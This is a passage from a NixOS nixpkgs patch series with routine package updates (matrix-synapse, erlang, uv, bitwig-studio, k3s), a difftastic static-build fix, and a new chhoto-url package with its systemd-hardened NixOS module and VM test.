+          hash = "sha256-jyn5qSSAipGYhHm2EROwDHa227mnmW+d+0H0/++i1OY=";
         };
         # Fix version to be compliant with Python packaging rules
         postPatch = ''

From fb3005f6a55fba424724e864ea714c63da7b054c Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 15 Jul 2025 12:49:30 +0200
Subject: [PATCH 2572/4511] pkgsStatic.difftastic: fix build

(cherry picked from commit e24f68dedda761bbb24b4650c778fd76b6b652af)
---
 pkgs/by-name/di/difftastic/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/di/difftastic/package.nix b/pkgs/by-name/di/difftastic/package.nix
index 5f51ce0129d0..fc0d2406a5a1 100644
--- a/pkgs/by-name/di/difftastic/package.nix
+++ b/pkgs/by-name/di/difftastic/package.nix
@@ -2,6 +2,7 @@
   lib,
   rustPlatform,
   fetchFromGitHub,
+  stdenv,
   versionCheckHook,
   nix-update-script,
 }:
@@ -20,6 +21,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
   useFetchCargoVendor = true;
   cargoHash = "sha256-1u3oUbqhwHXD90ld70pjK2XPJe5hpUbJtU78QpIjAE8=";
 
+  env = lib.optionalAttrs stdenv.hostPlatform.isStatic { RUSTFLAGS = "-C relocation-model=static"; };
+
   # skip flaky tests
   checkFlags = [ "--skip=options::tests::test_detect_display_width" ];
 

From de4f57e7bd8f81ee87100808e858ab09113eeab0 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 15 Jul 2025 16:18:53 +0200
Subject: [PATCH 2573/4511] matrix-synapse: 1.133.0 -> 1.134.0

Release notes: https://github.com/element-hq/synapse/releases/tag/v1.134.0
Full changelog: https://github.com/element-hq/synapse/compare/v1.133.0...v1.134.0

(cherry picked from commit d3bc50865f86c9955642af8c6c0b083653fd8362)
---
 nixos/modules/services/matrix/synapse.nix            | 3 ---
 pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix | 9 +++------
 pkgs/by-name/ma/matrix-synapse/package.nix           | 1 -
 3 files changed, 3 insertions(+), 10 deletions(-)

diff --git a/nixos/modules/services/matrix/synapse.nix b/nixos/modules/services/matrix/synapse.nix
index 1adc02852a4d..6744bf74a45a 100644
--- a/nixos/modules/services/matrix/synapse.nix
+++ b/nixos/modules/services/matrix/synapse.nix
@@ -74,7 +74,6 @@ let
     "systemd"
     "postgres"
     "url-preview"
-    "user-search"
   ];
 
   wantedExtras =
@@ -84,7 +83,6 @@ let
     ++ lib.optional (cfg.settings ? saml2_config) "saml2"
     ++ lib.optional (cfg.settings ? redis) "redis"
     ++ lib.optional (cfg.settings ? sentry) "sentry"
-    ++ lib.optional (cfg.settings ? user_directory) "user-search"
     ++ lib.optional (cfg.settings.url_preview_enabled) "url-preview"
     ++ lib.optional (cfg.settings.database.name == "psycopg2") "postgres";
 
@@ -673,7 +671,6 @@ in
               "sentry"       # Error tracking and performance metrics
               "systemd"      # Provide the JournalHandler used in the default log_config
               "url-preview"  # Support for oEmbed URL previews
-              "user-search"  # Support internationalized domain names in user-search
             ]
           '';
           description = ''
diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
index 1375a80a3d3b..0f24a488173d 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
@@ -17,19 +17,19 @@ let
 in
 python3.pkgs.buildPythonApplication rec {
   pname = "matrix-synapse";
-  version = "1.133.0";
+  version = "1.134.0";
   format = "pyproject";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "synapse";
     rev = "v${version}";
-    hash = "sha256-SCpLM/4sxE9xA781tgjrNNXpScCQOtgKnZKq64eCay8=";
+    hash = "sha256-q7+yVKFzyu8ccuroZsTSMRRKMwmr3TDojtXNx4bChTE";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit pname version src;
-    hash = "sha256-qgQU041VlAFFgEg2RhbK6g+aike+HN0FYuvHYtufzW8=";
+    hash = "sha256-BfLj+cqS6zpX2qLb+Rur4cy7CyPH2KzdXaTXpNK20DM=";
   };
 
   postPatch = ''
@@ -138,9 +138,6 @@ python3.pkgs.buildPythonApplication rec {
     cache-memory = [
       pympler
     ];
-    user-search = [
-      pyicu
-    ];
   };
 
   nativeCheckInputs =
diff --git a/pkgs/by-name/ma/matrix-synapse/package.nix b/pkgs/by-name/ma/matrix-synapse/package.nix
index 9a7357a25735..5935b69234d3 100644
--- a/pkgs/by-name/ma/matrix-synapse/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse/package.nix
@@ -7,7 +7,6 @@
     [
       "postgres"
       "url-preview"
-      "user-search"
     ]
     ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform matrix-synapse-unwrapped.python.pkgs.systemd) "systemd",
   plugins ? [ ],

From 0603a0a1a29f93c0be3f97fb141a93418cb82c76 Mon Sep 17 00:00:00 2001
From: Jonas <1020064+jfietz@user.noreply.github.com>
Date: Wed, 25 Jun 2025 17:23:29 +0200
Subject: [PATCH 2574/4511] bitwig-studio: 5.3.8 -> 5.3.11

Minor version upgrade to fix https://github.com/NixOS/nixpkgs/issues/410805

(cherry picked from commit a82569c2c2a52585dd54a66573edc9c1ea9e1f6b)
---
 pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix b/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix
index b4918bcd7eb6..d22bcd4c193f 100644
--- a/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix
+++ b/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix
@@ -32,12 +32,12 @@
 
 stdenv.mkDerivation rec {
   pname = "bitwig-studio-unwrapped";
-  version = "5.3.8";
+  version = "5.3.11";
 
   src = fetchurl {
     name = "bitwig-studio-${version}.deb";
     url = "https://www.bitwig.com/dl/Bitwig%20Studio/${version}/installer_linux/";
-    hash = "sha256-ccDgNsKskEsaL3G5ISZUMckvFosMALFzEzOM9D4/Xgo=";
+    hash = "sha256-8u8ljljHKGV6m2421vxYSiDTb1iyNLgP3DlLIEKuzXo=";
   };
 
   nativeBuildInputs = [

From b20e7677e16d61898bff589741e3c657e6e69c07 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 17 Jul 2025 17:38:44 +0000
Subject: [PATCH 2575/4511] erlang_26: 26.2.5.13 -> 26.2.5.14

https://github.com/erlang/otp/releases/tag/OTP-26.2.5.14
(cherry picked from commit f3cb23aadcbba866b5e996aa8a93aa1b5f7eb016)
---
 pkgs/development/interpreters/erlang/26.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/erlang/26.nix b/pkgs/development/interpreters/erlang/26.nix
index b18854070055..78891d06af72 100644
--- a/pkgs/development/interpreters/erlang/26.nix
+++ b/pkgs/development/interpreters/erlang/26.nix
@@ -1,6 +1,6 @@
 { mkDerivation }:
 
 mkDerivation {
-  version = "26.2.5.13";
-  sha256 = "sha256-imgI9qgAi17wN/QHVC3JKrmOArq3i2k+xMg8yBK2VrQ=";
+  version = "26.2.5.14";
+  sha256 = "sha256-/m76FtCJvIjNuvM96XV3ngFMgKF8C5uCH89YQklJKpo=";
 }

From 495ea165881fb891ec6d4a2d00b90ab1bec278d5 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 17 Jul 2025 17:39:20 +0000
Subject: [PATCH 2576/4511] erlang_27: 27.3.4.1 -> 27.3.4.2

https://github.com/erlang/otp/releases/tag/OTP-27.3.4.2
(cherry picked from commit 0c1905e5776fe568f1339fff6b7d41b39d9f54af)
---
 pkgs/development/interpreters/erlang/27.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/erlang/27.nix b/pkgs/development/interpreters/erlang/27.nix
index 599cebd342bc..bc6b0507aac8 100644
--- a/pkgs/development/interpreters/erlang/27.nix
+++ b/pkgs/development/interpreters/erlang/27.nix
@@ -1,6 +1,6 @@
 { mkDerivation }:
 
 mkDerivation {
-  version = "27.3.4.1";
-  sha256 = "sha256-L9VgcdO1TyLNm+vke90w6Xuq/T3uKzmU4d0uYEfyQlc=";
+  version = "27.3.4.2";
+  sha256 = "sha256-wbaRSTwTrNADbShNHoWorWyD+2ul6NZbRs6isP3g+OI=";
 }

From 125dc064c2ee0321a81f34ba9e86468b3fff8a48 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 17 Jul 2025 17:39:52 +0000
Subject: [PATCH 2577/4511] erlang_28: 28.0.1 -> 28.0.2

https://github.com/erlang/otp/releases/tag/OTP-28.0.2
(cherry picked from commit f276e9ba3dee7379f948c6f4dd325abd41a5b6a4)
---
 pkgs/development/interpreters/erlang/28.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/erlang/28.nix b/pkgs/development/interpreters/erlang/28.nix
index 8c6e4ee19148..e9594b18621f 100644
--- a/pkgs/development/interpreters/erlang/28.nix
+++ b/pkgs/development/interpreters/erlang/28.nix
@@ -1,6 +1,6 @@
 { mkDerivation }:
 
 mkDerivation {
-  version = "28.0.1";
-  sha256 = "sha256-eWDDreijr7RRmr6sVNuGpQ0qmynN4FTsiBXB8DOWKr4=";
+  version = "28.0.2";
+  sha256 = "sha256-4+Jv7MUX4KAwasNyU7AiV9+Qd9NginYXTN0fDteTFEM=";
 }

From df1fdf18a29340b0b4db2203c62958251cec8e0b Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 18 Jul 2025 12:05:23 +0800
Subject: [PATCH 2578/4511] uv: 0.7.21 -> 0.7.22

---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 0216b701cfd3..4fc7767713ae 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.21";
+  version = "0.7.22";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-xY7olVRb8xEvTB+VuUNoq29f37sms+JliU4L9dxsReU=";
+    hash = "sha256-949PYCKaZqaXFb2GFjTgpZr/b3R61Tf4lHSgGiZv0kA=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-JVmRRYAHXEGzayiEnWPYi3azVPqLI6z4D0gx395glFQ=";
+  cargoHash = "sha256-ybhEzHlTuXoSV/3d1soA8Y7EpiphBEBXSlf2gWyiKnw=";
 
   buildInputs = [
     rust-jemalloc-sys

From 6b8e818471e70bb03a43b17d59d0aa4ef9376dac Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sat, 12 Jul 2025 15:06:00 +0200
Subject: [PATCH 2579/4511] chhoto-url: init at 6.2.8

(cherry picked from commit 396614dd55e86fe0dd57507e728c6c313858f233)
---
 pkgs/by-name/ch/chhoto-url/package.nix | 43 ++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)
 create mode 100644 pkgs/by-name/ch/chhoto-url/package.nix

diff --git a/pkgs/by-name/ch/chhoto-url/package.nix b/pkgs/by-name/ch/chhoto-url/package.nix
new file mode 100644
index 000000000000..73de105cf5cc
--- /dev/null
+++ b/pkgs/by-name/ch/chhoto-url/package.nix
@@ -0,0 +1,43 @@
+{
+  lib,
+  rustPlatform,
+  fetchFromGitHub,
+  nix-update-script,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "chhoto-url";
+  version = "6.2.8";
+
+  src = fetchFromGitHub {
+    owner = "SinTan1729";
+    repo = "chhoto-url";
+    tag = finalAttrs.version;
+    hash = "sha256-aWiLfhNbtjsM7fEqoNIKsU12/3b8ORTpZ/4jyqSLmdM=";
+  };
+
+  sourceRoot = "${finalAttrs.src.name}/actix";
+
+  postPatch = ''
+    substituteInPlace src/{main.rs,services.rs} \
+      --replace-fail "./resources/" "${placeholder "out"}/share/chhoto-url/resources/"
+  '';
+
+  cargoHash = "sha256-rKNGUl1TI21SOBwTuv/TGl46S8FVjCWunJwP5PLdx6g=";
+
+  postInstall = ''
+    mkdir -p $out/share/chhoto-url
+    cp -r ${finalAttrs.src}/resources $out/share/chhoto-url/resources
+  '';
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Simple, blazingly fast, selfhosted URL shortener with no unnecessary features";
+    homepage = "https://github.com/SinTan1729/chhoto-url";
+    changelog = "https://github.com/SinTan1729/chhoto-url/releases/tag/${finalAttrs.version}";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ defelo ];
+    mainProgram = "chhoto-url";
+  };
+})

From 6642acbb21943a4826164eb3a98bf15bd3bb86e7 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sat, 12 Jul 2025 16:43:13 +0200
Subject: [PATCH 2580/4511] nixos/chhoto-url: init module

(cherry picked from commit 55e6f26bff0266a9276eb5f146e1da04d8c15d83)
---
 .../manual/release-notes/rl-2511.section.md   |   1 +
 nixos/modules/module-list.nix                 |   1 +
 .../modules/services/web-apps/chhoto-url.nix  | 212 ++++++++++++++++++
 3 files changed, 214 insertions(+)
 create mode 100644 nixos/modules/services/web-apps/chhoto-url.nix

diff --git a/nixos/doc/manual/release-notes/rl-2511.section.md b/nixos/doc/manual/release-notes/rl-2511.section.md
index a5c8dbec6474..2b0580a37379 100644
--- a/nixos/doc/manual/release-notes/rl-2511.section.md
+++ b/nixos/doc/manual/release-notes/rl-2511.section.md
@@ -12,6 +12,7 @@
 
 - [gtklock](https://github.com/jovanlanik/gtklock), a GTK-based lockscreen for Wayland. Available as [programs.gtklock](#opt-programs.gtklock.enable).
 - [Chrysalis](https://github.com/keyboardio/Chrysalis), a graphical configurator for Kaleidoscope-powered keyboards. Available as [programs.chrysalis](#opt-programs.chrysalis.enable).
+- [Chhoto URL](https://github.com/SinTan1729/chhoto-url), a simple, blazingly fast, selfhosted URL shortener with no unnecessary features, written in Rust. Available as [services.chhoto-url](#opt-services.chhoto-url.enable).
 
 ## Backward Incompatibilities {#sec-release-25.11-incompatibilities}
 
diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix
index 7dbea2b3d65c..be174b9e453d 100644
--- a/nixos/modules/module-list.nix
+++ b/nixos/modules/module-list.nix
@@ -1519,6 +1519,7 @@
   ./services/web-apps/castopod.nix
   ./services/web-apps/changedetection-io.nix
   ./services/web-apps/chatgpt-retrieval-plugin.nix
+  ./services/web-apps/chhoto-url.nix
   ./services/web-apps/cloudlog.nix
   ./services/web-apps/code-server.nix
   ./services/web-apps/coder.nix
diff --git a/nixos/modules/services/web-apps/chhoto-url.nix b/nixos/modules/services/web-apps/chhoto-url.nix
new file mode 100644
index 000000000000..8b6df98dc53e
--- /dev/null
+++ b/nixos/modules/services/web-apps/chhoto-url.nix
@@ -0,0 +1,212 @@
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
+
+let
+  cfg = config.services.chhoto-url;
+
+  environment = lib.mapAttrs (
+    _: value:
+    if value == true then
+      "True"
+    else if value == false then
+      "False"
+    else
+      toString value
+  ) cfg.settings;
+in
+
+{
+  meta.maintainers = with lib.maintainers; [ defelo ];
+
+  options.services.chhoto-url = {
+    enable = lib.mkEnableOption "Chhoto URL";
+
+    package = lib.mkPackageOption pkgs "chhoto-url" { };
+
+    settings = lib.mkOption {
+      description = ''
+        Configuration of Chhoto URL.
+        See <https://github.com/SinTan1729/chhoto-url/blob/main/compose.yaml> for a list of options.
+      '';
+      example = {
+        port = 4567;
+      };
+
+      type = lib.types.submodule {
+        freeformType =
+          with lib.types;
+          attrsOf (oneOf [
+            str
+            int
+            bool
+          ]);
+
+        options = {
+          db_url = lib.mkOption {
+            type = lib.types.path;
+            description = "The path of the sqlite database.";
+            default = "/var/lib/chhoto-url/urls.sqlite";
+          };
+
+          port = lib.mkOption {
+            type = lib.types.port;
+            description = "The port to listen on.";
+            example = 4567;
+          };
+
+          cache_control_header = lib.mkOption {
+            type = lib.types.nullOr lib.types.str;
+            description = "The Cache-Control header to send.";
+            default = null;
+            example = "no-cache, private";
+          };
+
+          disable_frontend = lib.mkOption {
+            type = lib.types.bool;
+            description = "Whether to disable the frontend.";
+            default = false;
+          };
+
+          public_mode = lib.mkOption {
+            type = lib.types.bool;
+            description = "Whether to enable public mode.";
+            default = false;
+            apply = x: if x then "Enable" else "Disable";
+          };
+
+          public_mode_expiry_delay = lib.mkOption {
+            type = lib.types.nullOr lib.types.ints.unsigned;
+            description = "The maximum expiry delay in seconds to force in public mode.";
+            default = null;
+            example = 3600;
+          };
+
+          redirect_method = lib.mkOption {
+            type = lib.types.enum [
+              "TEMPORARY"
+              "PERMANENT"
+            ];
+            description = "The redirect method to use.";
+            default = "PERMANENT";
+          };
+
+          hash_algorithm = lib.mkOption {
+            type = lib.types.nullOr (lib.types.enum [ "Argon2" ]);
+            description = ''
+              The hash algorithm to use for passwords and API keys.
+              Set to `null` if you want to provide these secrets as plaintext.
+            '';
+            default = null;
+          };
+
+          site_url = lib.mkOption {
+            type = lib.types.nullOr lib.types.str;
+            description = "The URL under which Chhoto URL is externally reachable.";
+            default = null;
+          };
+
+          slug_style = lib.mkOption {
+            type = lib.types.enum [
+              "Pair"
+              "UID"
+            ];
+            description = "The slug style to use for auto-generated URLs.";
+            default = "Pair";
+          };
+
+          slug_length = lib.mkOption {
+            type = lib.types.addCheck lib.types.int (x: x >= 4);
+            description = "The length of auto-generated slugs.";
+            default = 8;
+          };
+
+          try_longer_slugs = lib.mkOption {
+            type = lib.types.bool;
+            description = "Whether to try a longer UID upon collision.";
+            default = false;
+          };
+
+          allow_capital_letters = lib.mkOption {
+            type = lib.types.bool;
+            description = "Whether to allow capital letters in slugs.";
+            default = false;
+          };
+
+          custom_landing_directory = lib.mkOption {
+            type = lib.types.nullOr lib.types.path;
+            description = "The path of a directory which contains a custom landing page.";
+            default = null;
+          };
+        };
+      };
+    };
+
+    environmentFiles = lib.mkOption {
+      type = lib.types.listOf lib.types.path;
+      default = [ ];
+      example = [ "/run/secrets/chhoto-url.env" ];
+      description = ''
+        Files to load environment variables from in addition to [](#opt-services.chhoto-url.settings).
+        This is useful to avoid putting secrets into the nix store.
+        See <https://github.com/SinTan1729/chhoto-url/blob/main/compose.yaml> for a list of options.
+      '';
+    };
+  };
+
+  config = lib.mkIf cfg.enable {
+    systemd.services.chhoto-url = {
+      wantedBy = [ "multi-user.target" ];
+
+      inherit environment;
+
+      serviceConfig = {
+        User = "chhoto-url";
+        Group = "chhoto-url";
+        DynamicUser = true;
+        StateDirectory = "chhoto-url";
+        EnvironmentFile = cfg.environmentFiles;
+
+        ExecStart = lib.getExe cfg.package;
+
+        # hardening
+        AmbientCapabilities = "";
+        CapabilityBoundingSet = [ "" ];
+        DevicePolicy = "closed";
+        LockPersonality = true;
+        MemoryDenyWriteExecute = true;
+        NoNewPrivileges = true;
+        PrivateDevices = true;
+        PrivateTmp = true;
+        PrivateUsers = true;
+        ProcSubset = "pid";
+        ProtectClock = true;
+        ProtectControlGroups = true;
+        ProtectHome = true;
+        ProtectHostname = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        ProtectSystem = "strict";
+        RemoveIPC = true;
+        RestrictAddressFamilies = [ "AF_INET AF_INET6" ];
+        RestrictNamespaces = true;
+        RestrictRealtime = true;
+        RestrictSUIDSGID = true;
+        SocketBindAllow = "tcp:${toString cfg.settings.port}";
+        SocketBindDeny = "any";
+        SystemCallArchitectures = "native";
+        SystemCallFilter = [
+          "@system-service"
+          "~@privileged"
+          "~@resources"
+        ];
+        UMask = "0077";
+      };
+    };
+  };
+}

From a2aec13e69eca9adfe6e0b74a2538cb445d6d44b Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sat, 12 Jul 2025 16:48:06 +0200
Subject: [PATCH 2581/4511] nixos/tests/chhoto-url: init

(cherry picked from commit b6ebd3bac96cc9bb55c3ad337a38de49ddec875b)
---
 nixos/tests/all-tests.nix              |  1 +
 nixos/tests/chhoto-url.nix             | 60 ++++++++++++++++++++++++++
 pkgs/by-name/ch/chhoto-url/package.nix |  6 ++-
 3 files changed, 66 insertions(+), 1 deletion(-)
 create mode 100644 nixos/tests/chhoto-url.nix

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index 8dbaf86f8d68..9de59578a675 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -297,6 +297,7 @@ in
   cfssl = handleTestOn [ "aarch64-linux" "x86_64-linux" ] ./cfssl.nix { };
   cgit = runTest ./cgit.nix;
   charliecloud = handleTest ./charliecloud.nix { };
+  chhoto-url = runTest ./chhoto-url.nix;
   chromadb = runTest ./chromadb.nix;
   chromium = (handleTestOn [ "aarch64-linux" "x86_64-linux" ] ./chromium.nix { }).stable or { };
   chrony = handleTestOn [ "aarch64-linux" "x86_64-linux" ] ./chrony.nix { };
diff --git a/nixos/tests/chhoto-url.nix b/nixos/tests/chhoto-url.nix
new file mode 100644
index 000000000000..01572b3c3216
--- /dev/null
+++ b/nixos/tests/chhoto-url.nix
@@ -0,0 +1,60 @@
+{ config, lib, ... }:
+
+{
+  name = "chhoto-url";
+  meta.maintainers = with lib.maintainers; [ defelo ];
+
+  nodes.machine = {
+    services.chhoto-url = {
+      enable = true;
+      settings.port = 8000;
+      environmentFiles = [
+        (builtins.toFile "chhoto-url.env" ''
+          api_key=api_key
+          password=password
+        '')
+      ];
+    };
+  };
+
+  interactive.nodes.machine = {
+    services.glitchtip.listenAddress = "0.0.0.0";
+    networking.firewall.allowedTCPPorts = [ 8000 ];
+    virtualisation.forwardPorts = [
+      {
+        from = "host";
+        host.port = 8000;
+        guest.port = 8000;
+      }
+    ];
+  };
+
+  testScript = ''
+    import json
+    import re
+
+    machine.wait_for_unit("chhoto-url.service")
+    machine.wait_for_open_port(8000)
+
+    resp = json.loads(machine.succeed("curl localhost:8000/api/getconfig"))
+    assert resp["success"] is False
+    assert resp["reason"] == "No valid authentication was found"
+
+    resp = json.loads(machine.succeed("curl -H 'X-API-Key: api_key' localhost:8000/api/getconfig"))
+    expected_version = "${config.nodes.machine.services.chhoto-url.package.version}"
+    assert resp["version"] == expected_version
+
+    resp = json.loads(machine.succeed("curl -H 'X-API-Key: api_key' localhost:8000/api/new -d '{\"longlink\": \"https://nixos.org/\"}'"))
+    assert resp["success"] is True
+    assert (match := re.match(r"^http://localhost:8000/(.+)$", resp["shorturl"]))
+    slug = match[1]
+
+    resp = machine.succeed(f"curl -i {resp["shorturl"]}")
+    assert (match := re.search(r"(?m)^location: (.+?)\r?$", resp))
+    assert match[1] == "https://nixos.org/"
+
+    resp = json.loads(machine.succeed(f"curl -H 'X-API-Key: api_key' localhost:8000/api/expand -d '{slug}'"))
+    assert resp["success"] is True
+    assert resp["hits"] == 1
+  '';
+}
diff --git a/pkgs/by-name/ch/chhoto-url/package.nix b/pkgs/by-name/ch/chhoto-url/package.nix
index 73de105cf5cc..8622efa24fd0 100644
--- a/pkgs/by-name/ch/chhoto-url/package.nix
+++ b/pkgs/by-name/ch/chhoto-url/package.nix
@@ -2,6 +2,7 @@
   lib,
   rustPlatform,
   fetchFromGitHub,
+  nixosTests,
   nix-update-script,
 }:
 
@@ -30,7 +31,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
     cp -r ${finalAttrs.src}/resources $out/share/chhoto-url/resources
   '';
 
-  passthru.updateScript = nix-update-script { };
+  passthru = {
+    tests = { inherit (nixosTests) chhoto-url; };
+    updateScript = nix-update-script { };
+  };
 
   meta = {
     description = "Simple, blazingly fast, selfhosted URL shortener with no unnecessary features";

From c9f2d52ace1a983b5e3df9e42a61bb8c8044657c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rafael=20Fern=C3=A1ndez=20L=C3=B3pez?=
 <ereslibre@ereslibre.es>
Date: Thu, 17 Jul 2025 09:56:06 +0200
Subject: [PATCH 2582/4511] nixos/nvidia-container-toolkit: fix tests

(cherry picked from commit d287c86c08ded17c7cb2659bb78c477e6d2a7f58)
---
 .../hardware/nvidia-container-toolkit/cdi-generate.nix |  2 +-
 nixos/tests/nvidia-container-toolkit.nix               | 10 +++++++---
 2 files changed, 8 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix b/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix
index 69b1c52a533e..33a47013bab4 100644
--- a/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix
+++ b/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix
@@ -39,7 +39,7 @@ writeScriptBin "nvidia-cdi-generator" ''
       --device-name-strategy ${device-name-strategy} \
       --ldconfig-path ${lib.getExe' glibc "ldconfig"} \
       --library-search-path ${lib.getLib nvidia-driver}/lib \
-      --nvidia-cdi-hook-path ${lib.getExe' nvidia-container-toolkit.tools "nvidia-cdi-hook"} \
+      --nvidia-cdi-hook-path ${lib.getOutput "tools" nvidia-container-toolkit}/bin/nvidia-cdi-hook \
       ${lib.escapeShellArgs extraArgs}
   }
 
diff --git a/nixos/tests/nvidia-container-toolkit.nix b/nixos/tests/nvidia-container-toolkit.nix
index 1b894a1cddd9..a0be2983747f 100644
--- a/nixos/tests/nvidia-container-toolkit.nix
+++ b/nixos/tests/nvidia-container-toolkit.nix
@@ -85,6 +85,7 @@ let
       '';
       meta.mainProgram = "nvidia-ctk";
     };
+    suppressNvidiaDriverAssertion = true;
   };
 in
 {
@@ -100,7 +101,10 @@ in
     {
       environment.systemPackages = with pkgs; [ jq ];
       virtualisation.diskSize = lib.mkDefault 10240;
-      virtualisation.containers.enable = lib.mkDefault true;
+      virtualisation.containers = {
+        containersConf.settings.engine.cdi_spec_dirs = [ "/var/run/cdi" ];
+        enable = lib.mkDefault true;
+      };
       hardware = {
         inherit nvidia-container-toolkit;
         nvidia = {
@@ -113,8 +117,8 @@ in
   nodes = {
     no-gpus = {
       virtualisation.containers.enable = false;
-      hardware.graphics.enable = false;
     };
+
     one-gpu =
       { pkgs, ... }:
       {
@@ -142,7 +146,7 @@ in
       one_gpu.wait_for_unit("nvidia-container-toolkit-cdi-generator.service")
       one_gpu.succeed("cat /var/run/cdi/nvidia-container-toolkit.json | jq")
       one_gpu.succeed("podman load < ${testContainerImage}")
-      print(one_gpu.succeed("podman run --pull=never --device=nvidia.com/gpu=all -v /run/opengl-driver:/run/opengl-driver:ro cdi-test:latest"))
+      one_gpu.succeed("podman run --pull=never --device=nvidia.com/gpu=all -v /run/opengl-driver:/run/opengl-driver:ro cdi-test:latest")
 
     # Issue: https://github.com/NixOS/nixpkgs/issues/319201
     with subtest("The generated CDI spec skips specified non-existant paths in the host"):

From a61951ece0136072a9966b03bc004cf6cbd5a22c Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Thu, 3 Jul 2025 23:06:27 +0200
Subject: [PATCH 2583/4511] k3s_1_32: 1.32.5+k3s1 -> 1.32.6+k3s1

https://github.com/k3s-io/k3s/releases/tag/v1.32.6%2Bk3s1
(cherry picked from commit 04453b87c57db33de19b05f148ec8f300dd4a767)
---
 .../cluster/k3s/1_32/images-versions.json        | 16 ++++++++--------
 .../networking/cluster/k3s/1_32/versions.nix     | 12 ++++++------
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json
index bd12302b1afe..410a19d952fa 100644
--- a/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.5%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "ac1f278f1b006851d95cd3236e9b909264872e9f6b5ffcf90d28198c6f2e913c"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.6%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "11350d97016e084bff9d0410e3abfb0ed5dd5920378565584e88996b0a6e2da4"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.5%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "c87b652cc8469019668ba5481e00b0d253e7d582e6139cb3a086b01682329f5e"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.6%2Bk3s1/k3s-airgap-images-arm.tar.zst",
+    "sha256": "1aa4286b30b5418df7b94782b70bcf79644da6c2d77bc5ab643da9c69e0290ac"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.5%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "c7ebe524d0d596ff9b45695770cbd76f8fd672236c563da947ca5cb2d0a64aad"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.6%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
